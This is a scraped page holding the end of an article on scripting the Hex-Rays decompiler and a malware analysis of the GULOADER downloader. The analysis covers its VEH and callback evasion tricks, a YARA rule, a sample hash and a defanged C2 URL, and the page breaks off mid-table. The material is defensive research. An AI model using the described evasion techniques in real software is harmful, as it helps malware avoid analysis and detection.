of the expression\n int ptrsize; ///\u003c memory access size (used for \\\\ref cot_ptr, \\\\ref cot_memptr)\n };\n };\n//...\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Finally the \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structcfunc__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"cfunc_t\"})}),\" structure holds information related to the decompiled function, the function address, the microcode block array, and the CTree accessed with the \",(0,n.jsx)(e.code,{children:\"entry_ea\"}),\", \",(0,n.jsx)(e.code,{children:\"mba\"}),\" and \",(0,n.jsx)(e.code,{children:\"body\"}),\" fields respectively.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-C\",children:`struct cfunc_t\n{\n ea_t entry_ea; ///\u003c function entry address\n mba_t *mba; ///\u003c underlying microcode\n cinsn_t body; ///\u003c function body, must be a block\n//...\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"ctree-traversal-example\",children:\"CTree traversal example\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The provided Python code serves as a mini recursive visitor of a CTree, note that it does not handle all node types, the last section will describe how to use the Hex-Rays built-in visitor class \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"ctree_visitor_t\"})}),\". To begin, we obtain the \",(0,n.jsx)(e.code,{children:\"cfunc\"}),\" of the function using \",(0,n.jsx)(e.code,{children:\"ida_hexrays.decompile\"}),\" and access its CTree via the \",(0,n.jsx)(e.code,{children:\"body\"}),\" field.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Next, we check if the node(item) is an expression or a statement. Finally, we can parse the type through the \",(0,n.jsx)(e.code,{children:\"op\"}),\" field and explore its child nodes.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`import idaapi\nimport ida_hexrays\n\nOP_TYPE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('cit_') or y.startswith('cot_'), dir(ida_hexrays))])\n\n\ndef get_op_name(op):\n \"\"\"\n Return the name of the given mcode_t.\n \"\"\"\n for value, name in OP_TYPE:\n if op == value:\n return name\n return None\n\n\ndef explore_ctree(item):\n print(f\"item address: {hex(item.ea)}, item opname: {item.opname}, item op: {get_op_name(item.op)}\")\n if item.is_expr():\n if item.op == ida_hexrays.cot_asg:\n explore_ctree(item.x) # left side\n explore_ctree(item.y) # right side\n\n elif item.op == ida_hexrays.cot_call:\n explore_ctree(item.x)\n for a_item in item.a: # call parameters\n explore_ctree(a_item)\n\n elif item.op == ida_hexrays.cot_memptr:\n explore_ctree(item.x)\n else:\n if item.op == ida_hexrays.cit_block:\n for i_item in item.cblock: # list of statement nodes\n explore_ctree(i_item)\n\n elif item.op == ida_hexrays.cit_expr:\n explore_ctree(item.cexpr)\n \n elif item.op == ida_hexrays.cit_return:\n explore_ctree(item.creturn.expr)\n \n\ndef main():\n cfunc = ida_hexrays.decompile(here())\n ctree = cfunc.body\n explore_ctree(ctree)\n\n\nif __name__ == '__main__':\n main()\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Displayed below is the output of the traversal script executed on the \",(0,n.jsx)(e.code,{children:\"start\"}),\" function of a \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader\",rel:\"nofollow\",children:\"BLISTER\"}),\" \",(0,n.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/c98137e064bc0cd32ed0415e19daf16ed451fe1289bc41e7251dd79326206d53\",rel:\"nofollow\",children:\"sample\"}),\":\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image9.png\",alt:\"CTree traversal script\\u2019s output, decompiled function, CTree graph\",width:\"1440\",height:\"283\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"practical-example-annotating-the-custom-import-table-of-a-malware-sample\",children:\"Practical example: annotating the custom import table of a malware sample\"}),`\n`,(0,n.jsx)(e.p,{children:\"Now that we've gained insights into the architecture and structures of the generated CTree, let's delve into a practical application and explore how to automate the annotation of a custom import table of malware.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image4.png\",alt:\"Annotation of a custom import table of a malware\",width:\"1292\",height:\"734\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Hex-Rays provides a utility class \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"ctree_visitor_t\"})}),\" that can be used to traverse and modify the CTree, two important virtual methods to know are:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"visit_insn\"}),\": to visit a statement\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.code,{children:\"visit_expr\"}),\": to visit an expression\"]}),`\n`]}),`\n`,(0,n.jsxs)(e.p,{children:[\"For this example, the same BLISTER sample is used; after locating the function that gets Windows APIs addresses by hash at address 0x7FF8CC3B0926(in the .rsrc section), adding the enumeration to the IDB and applying the enum type to its parameter, we create a class that inherits from \",(0,n.jsx)(e.code,{children:\"ctree_visitor_t\"}),\", as we are interested in expressions, we will be overriding \",(0,n.jsx)(e.code,{children:\"visit_expr\"}),\" only.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/introduction-to-hexrays-decompilation-internals/image6.png\",alt:\"CTree graph of a function at address 0x7FF8CC3B7637 generated using hrdevhelper\",width:\"1440\",height:\"547\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The idea is to locate a \",(0,n.jsx)(e.code,{children:\"cot_call\"}),\" node(1) of the function that resolves APIs by passing the \",(0,n.jsx)(e.code,{children:\"obj_ea\"}),\" address of node\\u2019s first child to the function \",(0,n.jsx)(e.code,{children:\"idc.get_name\"}),\" which will return the function name.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:` if expr.op == idaapi.cot_call:\n if idc.get_name(expr.x.obj_ea) == self.func_name:\n\t\t#...\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Next retrieve the enum of the hash by accessing the right parameter of the call node(2), in our case parameter 3.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:` carg_1 = expr.a[HASH_ENUM_INDEX]\n api_name = ida_lines.tag_remove(carg_1.cexpr.print1(None)) # Get API name\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The next step is to locate the variable that has been assigned the address value of the WinAPI function. To do that we first need to locate the \",(0,n.jsx)(e.code,{children:\"cot_asg\"}),\" node(3), parent of the call node by using the \",(0,n.jsx)(e.code,{children:\"find_parent_of\"}),\" method under \",(0,n.jsx)(e.code,{children:\"cfunc.body\"}),\" of the decompiled function.\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:` asg_expr = self.cfunc.body.find_parent_of(expr) # Get node parent\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Finally, we can access the first child node(4) under the \",(0,n.jsx)(e.code,{children:\"cot_asg\"}),\" node, which is of type \",(0,n.jsx)(e.code,{children:\"cot_var\"}),\" and get the current variable name, the Hex-Rays API \",(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#ab719cfcfa884c57284cd946ac90b3c17\",rel:\"nofollow\",children:(0,n.jsx)(e.code,{children:\"ida_hexrays.rename_lvar\"})}),\" is used to rename the new variable with the Windows API name taken from the enum parameter.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"This process can ultimately save a significant amount of time for an analyst. Instead of spending time on relabeling variables, they can direct their attention to the core functionality. An understanding of how CTrees work can contribute to the development of more effective plugins, enabling the handling of more complex obfuscations.\"}),`\n`,(0,n.jsx)(e.p,{children:\"For a complete understanding and context of the example, please find the entire code below:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`import idaapi\nimport ida_hexrays\nimport idc\nimport ida_lines\nimport random\nimport string\n\nHASH_ENUM_INDEX = 2\n\n\ndef generate_random_string(length):\n letters = string.ascii_letters\n return \"\".join(random.choice(letters) for _ in range(length))\n\n\nclass ctree_visitor(ida_hexrays.ctree_visitor_t):\n def __init__(self, cfunc):\n ida_hexrays.ctree_visitor_t.__init__(self, ida_hexrays.CV_FAST)\n self.cfunc = cfunc\n self.func_name = \"sub_7FF8CC3B0926\"# API resolution function name\n\n def visit_expr(self, expr):\n if expr.op == idaapi.cot_call:\n if idc.get_name(expr.x.obj_ea) == self.func_name:\n carg_1 = expr.a[HASH_ENUM_INDEX]\n api_name = ida_lines.tag_remove(\n carg_1.cexpr.print1(None)\n ) # Get API name\n expr_parent = self.cfunc.body.find_parent_of(expr) # Get node parent\n\n # find asg node\n while expr_parent.op != idaapi.cot_asg:\n expr_parent = self.cfunc.body.find_parent_of(expr_parent)\n\n if expr_parent.cexpr.x.op == idaapi.cot_var:\n lvariable_old_name = (\n expr_parent.cexpr.x.v.getv().name\n ) # get name of variable\n ida_hexrays.rename_lvar(\n self.cfunc.entry_ea, lvariable_old_name, api_name\n ) # rename variable\n return 0\n\n\ndef main():\n cfunc = idaapi.decompile(idc.here())\n v = ctree_visitor(cfunc)\n v.apply_to(cfunc.body, None)\n\n\nif __name__ == \"__main__\":\n main()\n`})}),`\n`,(0,n.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,n.jsx)(e.p,{children:\"Concluding our exploration into Hex-Rays microcode and CTree generation, we've gained practical techniques for navigating the complexities of malware obfuscation. The ability to modify Hex-Rays pseudo code allows us to cut through obfuscation like Control Flow Obfuscation, remove dead code, and many more. The Hex-Rays C++ SDK emerges as a valuable resource, offering well-documented guidance for future reference.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"We hope that this guide will be helpful to fellow researchers and any avid learner, please find all the scripts in our \",(0,n.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/tools/ida_scripts\",rel:\"nofollow\",children:\"research repository\"}),\".\"]}),`\n`,(0,n.jsx)(e.h2,{id:\"resources\",children:\"Resources\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://i.blackhat.com/us-18/Thu-August-9/us-18-Guilfanov-Decompiler-Internals-Microcode-wp.pdf\",rel:\"nofollow\",children:\"Ilfak Guilfanov's Decompiler Internals: Microcode presentation\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://hex-rays.com/blog/hex-rays-decompiler-primer\",rel:\"nofollow\",children:\"Hex-Rays decompiler primer\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/patois/HRDevHelper/\",rel:\"nofollow\",children:\"HRDevHelper\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/gaasedelen/lucid\",rel:\"nofollow\",children:\"lucid utility\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://hex-rays.com/products/decompiler/manual/sdk/\",rel:\"nofollow\",children:\"Hex-Rays SDK\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases\",rel:\"nofollow\",children:\"Elastic Security Labs enablement tools\"})}),`\n`]})]})}function w(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(d,t)})):d(t)}var v=w;return x(k);})();\n;return Component;"},"_id":"articles/introduction-to-hexrays-decompilation-internals.mdx","_raw":{"sourceFilePath":"articles/introduction-to-hexrays-decompilation-internals.mdx","sourceFileName":"introduction-to-hexrays-decompilation-internals.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/introduction-to-hexrays-decompilation-internals"},"type":"Article","imageUrl":"/assets/images/introduction-to-hexrays-decompilation-internals/photo-edited-05.png","readingTime":"25 min read","series":"","url":"/introduction-to-hexrays-decompilation-internals","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":2,"title":"Architecture","href":"#architecture"},{"level":2,"title":"Microcode","href":"#microcode"},{"level":3,"title":"Microcode traversal example","href":"#microcode-traversal-example"},{"level":3,"title":"CTree","href":"#ctree"},{"level":3,"title":"CTree traversal example","href":"#ctree-traversal-example"},{"level":3,"title":"Practical example: annotating the custom import table of a malware sample","href":"#practical-example-annotating-the-custom-import-table-of-a-malware-sample"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Resources","href":"#resources"}],"author":[{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Getting gooey with GULOADER: deobfuscating the downloader","slug":"getting-gooey-with-guloader-downloader","date":"2023-12-06","description":"Elastic Security Labs walks through the updated GULOADER analysis countermeasures.","image":"photo-edited-03@2x.jpg","tags":["guloader","cloudeye","Vectored Exception handler"],"body":{"raw":"\n## Overview\n\nElastic Security Labs continues to monitor active threats such as GULOADER, also known as [CloudEyE](https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye) – an evasive shellcode downloader that has been highly active for years while under constant development. One of these recent changes is the addition of exceptions to its Vectored Exception Handler (VEH) in a fresh campaign, adding more complexity to its already long list of anti-analysis tricks. \n \nWhile GULOADER’s core functionality hasn’t changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GULOADER a time-consuming and resource-intensive process. In this post, we will touch on the following topics when triaging GULOADER:\n\n* Reviewing the initial shellcode and unpacking process\n* Finding the entrypoint of the decrypted shellcode\n* Discuss update to GULOADER’s VEH that obfuscates control flow\n* Provide a methodology to patch out VEH\n\n## Initial Shellcode\n\nIn our [sample](https://www.virustotal.com/gui/file/6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99), GULOADER comes pre-packaged inside an NSIS (Nullsoft Scriptable Install System) installer. When the installer is extracted, the main components are: \n\n* **NSIS Script** - This script file outlines all the various configuration and installation aspects.\n\n![Extracted NSIS contents](/assets/images/getting-gooey-with-guloader-downloader/image1.png \"Extracted NSIS contents\")\n\n\n* **System.dll** - Located under the `$PLUGINSDir`. This file is dropped in a temporary folder to allocate/execute the GULOADER shellcode.\n\n![System.Dll exports](/assets/images/getting-gooey-with-guloader-downloader/image10.png \"System.Dll exports\")\n\n\n* **Shellcode** - The encrypted shellcode is buried into a nested folder.\n\nOne quick methodology to pinpoint the file hosting the shellcode can be done by monitoring `ReadFile` events from SysInternal’s Process Monitor after executing GULOADER. In this case, we can see that the shellcode is read in from a file (`Fibroms.Hag`).\n\n![Shellcode Retrieved from File](/assets/images/getting-gooey-with-guloader-downloader/image11.png \"Shellcode Retrieved from File\")\n\n\nGULOADER executes shellcode through callbacks using different Windows API functions. The main reasoning behind this is to avoid detections centered around traditional Windows APIs used for process injection, such as `CreateRemoteThread` or `WriteProcessMemory`. We have observed `EnumResourceTypesA` and `CallWindowProcW` used by GULOADER.\n\n![EnumResourceTypesA Function Call inside GULOADER](/assets/images/getting-gooey-with-guloader-downloader/image6.png \"EnumResourceTypesA Function Call inside GULOADER\")\n\n\nBy reviewing the MSDN documentation for [`EnumResourceTypesA`](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-enumresourcetypesa), we can see the second parameter expects a pointer to the callback function. From the screenshot above, we can see that the newly allocated shellcode is placed into this argument.\n\n![EnumResourceTypesA Function Parameters](/assets/images/getting-gooey-with-guloader-downloader/image13.png \"EnumResourceTypesA Function Parameters\")\n\n\n![Shellcode from second parameter EnumResourceTypesA call](/assets/images/getting-gooey-with-guloader-downloader/image7.png \"Shellcode from second parameter EnumResourceTypesA call\")\n\n\n## Finding Main Shellcode Entrypoint\n\nIn recent samples, GULOADER has increased the complexity at the start of the initial shellcode by including many different junk instructions and jumps. Reverse engineering of the downloader can require dealing with a long process of unwinding code obfuscation designed to break disassembly and control flow in some tooling, making it frustrating to find the actual start of the core GULOADER shellcode.\n\nOne methodology for finding the initial call can be leveraging graph view inside x64dbg and using a bottom-to-top approach to look for the `call eax` instruction. \n\n![Graph view for GULOADER main entrypoint call](/assets/images/getting-gooey-with-guloader-downloader/image16.png \"Graph view for GULOADER main entrypoint call\")\n\n\nAnother technique to trace the initial control flow involves leveraging the reversing engineering framework [Miasm](https://github.com/cea-sec/miasm)**.** Below is a quick example where we can pass in the shellcode and disassemble the instructions to follow the flow: \n\n```\nfrom miasm.core.locationdb import LocationDB\nfrom miasm.analysis.binary import Container\nfrom miasm.analysis.machine import Machine\n\nwith open(\"proctoring_06BF0000.bin\", \"rb\") as f:\n code = f.read()\n\nloc_db = LocationDB()\nc = Container.from_string(code, loc_db)\n\nmachine = Machine('x86_32')\nmdis = machine.dis_engine(c.bin_stream, loc_db=loc_db)\nmdis.follow_call = True \nmdis.dontdis_retcall = True\nasm_cfg = mdis.dis_multiblock(offset=0x1400)\n```\n\nMiasm cuts through the 142 `jmp` instructions and navigates through the junk instructions where we have configured it to stop on the call instruction to EAX (address: `0x3bde`). \n\n```\nJMP loc_3afd\n-\u003e\tc_to:loc_3afd \nloc_3afd\nMOV EBX, EAX\nFADDP ST(3), ST\nPANDN XMM7, XMM2\nJMP loc_3b3e\n-\u003e\tc_to:loc_3b3e \nloc_3b3e\nSHL CL, 0x0\nPSRAW MM1, MM0\nPSRLD XMM1, 0xF1\nJMP loc_3b97\n-\u003e\tc_to:loc_3b97 \nloc_3b97\nCMP DL, 0x3A\nPADDW XMM3, XMM5\nPXOR MM3, MM3\nJMP loc_3bde\n-\u003e\tc_to:loc_3bde \nloc_3bde\nCALL EAX\n```\n*Tail end of Miasm*\n\n## GULOADER’s VEH Update\n\nOne of GULOADER’s hallmark techniques is centered around its [Vectored Exception Handling](https://learn.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling) (VEH) capability. This feature gives Windows applications the ability to intercept and handle exceptions before they are routed through the standard exception process. Malware families and software protection applications use this technique to make it challenging for analysts and tooling to follow the malicious code.\n\nGULOADER starts this process by adding the VEH using `RtlAddVectoredExceptionHandler`. Throughout the execution of the GULOADER shellcode, there is code purposely placed to trigger these different exceptions. When these exceptions are triggered, the VEH will check for hardware breakpoints. If not found, GULOADER will modify the EIP directly through the [CONTEXT structure](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context) using a one-byte XOR key (changes per sample) with a one-byte offset from where the exception occurred. We will review a specific example of this technique in the subsequent section. Below is the decompilation of our sample’s VEH:\n\n![Decompilation of VEH](/assets/images/getting-gooey-with-guloader-downloader/image3.png \"Decompilation of VEH\")\n\n\nAlthough this technique is not new, GULOADER continues to add new exceptions over time; we have recently observed these two exceptions added in the last few months:\n\n* `EXCEPTION_PRIV_INSTRUCTION`\n* `EXCEPTION_ILLEGAL_INSTRUCTION`\n\nAs new exceptions get added to GULOADER, it can end up breaking tooling used to expedite the analysis process for researchers. \n\n### EXCEPTION_PRIV_INSTRUCTION\n\nLet’s walk through the two recently added exceptions to follow the VEH workflow. The first exception (`EXCEPTION_PRIV_INSTRUCTION`), occurs when an attempt is made to execute a privileged instruction in a processor’s instruction set at a privilege level where it’s not allowed. Certain instructions, like the example below with [WRSMR](https://www.felixcloutier.com/x86/wrmsr) expect privileges from the kernel level, so when the program is run from user mode, it will trigger the exception due to incorrect permissions.\n\n\n![EXCEPTION_PRIV_INSTRUCTION triggered by wrmsr instruction](/assets/images/getting-gooey-with-guloader-downloader/image2.png \"EXCEPTION_PRIV_INSTRUCTION triggered by wrmsr instruction\")\n\n\n### EXCEPTION_ILLEGAL_INSTRUCTION\n\nThis exception is invoked when a program attempts to execute an invalid or undefined CPU instruction. In our sample, when we run into Intel virtualization instructions such as `vmclear` or `vmxon`, this will trigger an exception. \n\n![EXCEPTION_ILLEGAL_INSTRUCTION triggered by vmclear instruction](/assets/images/getting-gooey-with-guloader-downloader/image14.png \"EXCEPTION_ILLEGAL_INSTRUCTION triggered by vmclear instruction\")\n\n\nOnce an exception occurs, the GULOADER VEH code will first determine which exception code was responsible for the exception. In our sample, if the exception matches any of the five below, the code will take the same path regardless.\n\n* `EXCEPTION_ACCESS_VIOLATION` \n* `EXCEPTION_ILLEGAL_INSTRUCTION`\n* `EXCEPTION_PRIV_INSTRUCTION`\n* `EXCEPTION_SINGLE_STEP`\n* `EXCEPTION_BREAKPOINT`\n\nGULOADER will then check for any hardware breakpoints by walking the CONTEXT record found inside the **[EXCEPTION_POINTERS](https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-exception_pointers)** structure. If hardware breakpoints are found in the different debug registers, GULOADER will return a `0` into the CONTEXT record, which will end up causing the shellcode to crash.\n\n![GULOADER monitoring hardware breakpoints](/assets/images/getting-gooey-with-guloader-downloader/image4.png \"GULOADER monitoring hardware breakpoints\")\n\n\nIf there are no hardware breakpoints, GULOADER will retrieve a single byte which is 7 bytes away from the address that caused the exception. When using the last example with `vmclear`, it would retrieve byte (`0x8A`).\n\n![GULOADER retrieves a single byte, 7 bytes away from the instruction, causing an exception](/assets/images/getting-gooey-with-guloader-downloader/image9.png \"GULOADER retrieves a single byte, 7 bytes away from the instruction, causing an exception\")\n\n\nThen, using that byte, it will perform an XOR operation with a different hard-coded byte. In our case (`0xB8`), this is unique per sample. Now, with a derived offset `0x32` (`0xB8 ^ 0x8A`), GULOADER will modify the EIP address directly from the CONTEXT record by adding `0x32` to the previous address (`0x7697630`) that caused the exception resulting in the next code to execute from address (`0x7697662`).\n\n![Junk instructions in between exceptions](/assets/images/getting-gooey-with-guloader-downloader/image8.png \"Junk instructions in between exceptions\")\n\n\nWith different junk instructions in between, and repeatedly hitting exceptions (we counted 229 unique exceptions in our sample), it’s not hard to see why this can break different tooling and increase analyst time.\n\n## Control Flow Cleaning\n\nTo make following the control flow easier, an analyst can bypass the VEH by tracing the execution, logging the exceptions, and patching the shellcode using the previously discussed EIP modification algorithm. For this procedure, we leveraged [TinyTracer](https://github.com/hasherezade/tiny_tracer), a tool written by [@hasherezade](https://twitter.com/hasherezade) that leverages [Pin](https://www.intel.com/content/www/us/en/developer/articles/tool/pin-a-dynamic-binary-instrumentation-tool.html), a dynamic binary instrumentation framework. This will allow us to catch the different addresses that triggered the exception, so using the example above with `vmclear`, we can see the address was `0x7697630`, generated an exception calling `KiUserExceptionDispatcher`, a function responsible for handling user-mode exceptions. \n\nOnce all the exceptions are collected and filtered, these can be passed into an IDAPython script where we walk through each address, calculate the offset using the 7th byte over and XOR key (`0xB8`), then patch out all the instructions generating exceptions with short jumps. \n\nThe following image is an example of patching instructions that trigger exceptions at addresses `0x07697630` and `0x0769766C`. \n\n![Disassembly of patched instructions](/assets/images/getting-gooey-with-guloader-downloader/image15.png \"Disassembly of patched instructions\")\n\n \nBelow is a graphic representing the control flow graph before the patching is applied globally. Our basic block with the `vmclear` instruction is highlighted in orange. By implementing the VEH, GULOADER flattens the control flow graph, making it harder to trace the program logic. \n\n![GULOADER’s control flow flattening obfuscation](/assets/images/getting-gooey-with-guloader-downloader/image5.png \"GULOADER’s control flow flattening obfuscation\")\n\n\nAfter patching the VEH with `jmp` instructions, this transforms the basic blocks by connecting them together, reducing the complexity behind the flow of the shellcode.\n\n![GULOADER’s call graph obfuscation](/assets/images/getting-gooey-with-guloader-downloader/image12.png \"GULOADER’s call graph obfuscation\")\n\n\nUsing this technique can accelerate the cleaning process, yet it’s important to note that it isn’t a bulletproof method. In this instance, there still ends up being a good amount of code/functionality that will still need to be analyzed, but this definitely goes a long way in simplifying the code by removing the VEH. The full POC script is located [here](https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py).\n\n## Conclusion\n\nGULOADER has many different features that can break disassembly, hinder control flow, and make analysis difficult for researchers. Despite this and the process being imperfect, we can counter these traits through different static or dynamic processes to help reduce the analysis time. For example, we observed that with new exceptions in the VEH, we can still trace through them and patch the shellcode. This process will set the analyst on the right path, closer to accessing the core functionality with GULOADER. \n\nBy sharing some of our workflow, we hope to provide multiple takeaways if you encounter GULOADER in the wild. Based on GULOADER’s changes, it's highly likely that future behaviors will require new and different strategies. For detecting GULOADER, the following section includes YARA rules, and the IDAPython script from this post can be found [here](https://github.com/elastic/labs-releases/tree/main/tools/guloader/guloader_FixCFG.py). For new updates on the latest threat research, check out our [malware analysis section](https://www.elastic.co/security-labs/topics/malware-analysis) by the Elastic Security Labs team. \n\n## YARA\n\nElastic Security has created different YARA [rules](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Guloader.yar) to identify this activity. Below is an example of one YARA rule to identify GULOADER. \n\n```\nrule Windows_Trojan_Guloader {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-10-30\"\n last_modified = \"2023-11-02\" \n reference_sample = \"6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99\"\n severity = 100\n arch = \"x86\"\n threat_name = \"Windows.Trojan.Guloader\"\n license = \"Elastic License v2\"\n os = \"windows\"\n strings:\n $djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }\n $check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }\n $parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }\n $hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }\n $scan_protection = { 39 ?? 14 8B [5] 0F 84 }\n condition:\n 2 of them\n}\n```\n\n## Observations\n \nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/guloader) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|-----------|-------------------------|--------------------------|\n| 6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99 | SHA-256 | Windows.Trojan.Guloader | GULOADER downloader |\n| 101.99.75[.]183/MfoGYZkxZIl205.bin | url | NA | GULOADER C2 URL |\n| 